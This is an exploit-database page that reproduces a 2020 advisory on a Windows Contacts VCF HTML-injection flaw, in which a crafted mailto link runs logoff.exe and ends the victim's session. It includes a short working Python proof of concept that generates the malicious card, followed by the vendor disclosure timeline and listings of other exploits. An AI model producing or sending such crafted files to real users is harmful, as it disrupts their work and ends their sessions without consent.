Search for hundreds of thousands of exploits

"Microsoft Outlook VCF cards - Denial of Service (PoC)"

Author

Exploit author

hyp3rlinx

Platform

Exploit platform

windows

Release date

Exploit published date

2020-01-06

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# Exploit Title: Microsoft Outlook VCF cards - Denial of Service (PoC)
# Date: 2020-01-04
# Exploit Author: hyp3rlinx
# Vendor Homepage: www.microsoft.com

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-VCF-MAILTO-LINK-DENIAL-OF-SERVICE.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     
 

[Vendor]
www.microsoft.com


[Product]
A VCF file is a standard file format for storing contact information for a person or business.
Microsoft Outlook supports the vCard and vCalendar features.
These are a powerful new approach to electronic Personal Data Interchange (PDI).


[Vulnerability Type]
Mailto Link Denial Of Service


[CVE Reference]
N/A


[Security Issue]
Windows VCF cards do not properly sanitize email addresses allowing for HTML injection.
A corrupt VCF card can cause all the users currently opened files and applications to be closed
and their session to be terminated without requiring any accompanying attacker supplied code. 

This can be done by crafting the Mailto link to point to Windows "logoff.exe". The corrupt VCF card can then
kill all users applications and also log the target off their computer, if the VCF card is opened in
using Windows Contacts and the link is clicked.

The logoff.exe executable lives in "C:\Windows\System32" and can terminate applications and log out users without requiring args.

This probably will affect Windows 7 the most as Windows 10 can possibly default opening VCF files in other programs
like (People). However, users can possibly still choose to open the VCF in Contacts by right-click the file.

Note, this exploit requires user interaction.

[Exploit/POC]
"VCF_DoS.py"

dirty_vcf=(
'BEGIN:VCARD\n'
'VERSION:4.0\n'
'FN:Session Terminate PoC - ApparitionSec\n'
'EMAIL:<a href="logoff">DoS@microsoft.com</a>\n'
'END:VCARD')

f=open("DoS.vcf", "w")
f.write(dirty_vcf)
f.close()

print "VCF Denial Of Service card created!"
print "By hyp3rlinx"


[POC Video URL]
https://www.youtube.com/watch?v=P4OGN7pZLSg


[Network Access]
Local


[Severity]
Medium


[Disclosure Timeline]
Vendor Notification: January 2, 2020
MSRC : "In order to investigate your report I will need an explanation on how an attacker could use the information
        to exploit another user remotely without the use of social engineering... As such, this thread is being closed"
      : January 3, 2020
January 4, 2020 : Public Disclosure


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Release Date Title Type Platform Author
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS" webapps windows "Amin Rawah"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-01 "Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" local windows "Emmanuel Lujan"
2020-12-01 "EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path" local windows SamAlucard
2020-12-01 "Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path" local windows "Metin Yunus Kandemir"
2020-12-01 "10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)" local windows Sectechs
2020-12-01 "Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path" local windows Jok3r
2020-11-30 "YATinyWinFTP - Denial of Service (PoC)" remote windows strider
Release Date Title Type Platform Author
2020-09-16 "Windows TCPIP Finger Command - C2 Channel and Bypassing Security Software" local windows hyp3rlinx
2020-08-26 "Ericom Access Server x64 9.2.0 - Server-Side Request Forgery" webapps multiple hyp3rlinx
2020-07-07 "Microsoft Windows mshta.exe 2019 - XML External Entity Injection" remote xml hyp3rlinx
2020-06-12 "Avaya IP Office 11 - Password Disclosure" webapps multiple hyp3rlinx
2020-06-10 "HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC)" remote multiple hyp3rlinx
2020-06-10 "WinGate 9.4.1.5998 - Insecure Folder Permissions" local windows hyp3rlinx
2020-04-21 "Neowise CarbonFTP 1.4 - Insecure Proprietary Password Encryption" remote windows hyp3rlinx
2020-04-06 "Microsoft NET USE win10 - Insufficient Authentication Logic" local windows hyp3rlinx
2020-02-12 "HP System Event Utility - Local Privilege Escalation" local windows hyp3rlinx
2020-01-21 "NEOWISE CARBONFTP 1.4 - Weak Password Encryption" local windows hyp3rlinx
2020-01-17 "Trend Micro Maximum Security 2019 - Arbitrary Code Execution" local windows hyp3rlinx
2020-01-17 "Trend Micro Maximum Security 2019 - Privilege Escalation" local windows hyp3rlinx
2020-01-06 "Microsoft Outlook VCF cards - Denial of Service (PoC)" dos windows hyp3rlinx
2020-01-01 "Microsoft Windows .Group File - Code Execution" local windows hyp3rlinx
2019-12-03 "Microsoft Windows Media Center 2002 - XML External Entity MotW Bypass" local xml hyp3rlinx
2019-12-02 "Visual Studio 2008 - XML External Entity Injection" local xml hyp3rlinx
2019-12-02 "Max Secure Anti Virus Plus 19.0.4.020 - Insecure File Permissions" local windows hyp3rlinx
2019-12-02 "Microsoft Excel 2016 1901 - XML External Entity Injection" local xml hyp3rlinx
2019-11-13 "ScanGuard Antivirus 2020 - Insecure Folder Permissions" local windows hyp3rlinx
2019-10-21 "Trend Micro Anti-Threat Toolkit 1.62.0.1218 - Remote Code Execution" local windows hyp3rlinx
2019-09-06 "Windows NTFS - Privileged File Access Enumeration" local windows hyp3rlinx
2019-08-14 "Windows PowerShell - Unsanitized Filename Command Execution" dos windows hyp3rlinx
2019-07-24 "Trend Micro Deep Discovery Inspector IDS - Security Bypass" remote multiple hyp3rlinx
2019-07-17 "MAPLE Computer WBT SNMP Administrator 2.0.195.15 - Remote Buffer Overflow" remote windows hyp3rlinx
2019-07-16 "Microsoft Compiled HTML Help / Uncompiled .chm File - XML External Entity Injection" dos windows hyp3rlinx
2019-06-17 "HC10 HC.Server Service 10.14 - Remote Invalid Pointer Write" dos windows hyp3rlinx
2019-05-03 "Windows PowerShell ISE - Remote Code Execution" local windows hyp3rlinx
2019-04-12 "Microsoft Internet Explorer 11 - XML External Entity Injection" local windows hyp3rlinx
2019-03-13 "Microsoft Windows - .reg File / Dialog Box Message Spoofing" dos windows hyp3rlinx
2019-01-23 "Microsoft Windows CONTACT - HTML Injection / Remote Code Execution" local windows hyp3rlinx
import requests
response = requests.get('http://127.0.0.1:8181/api/v1/exploitdetails/47878/?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.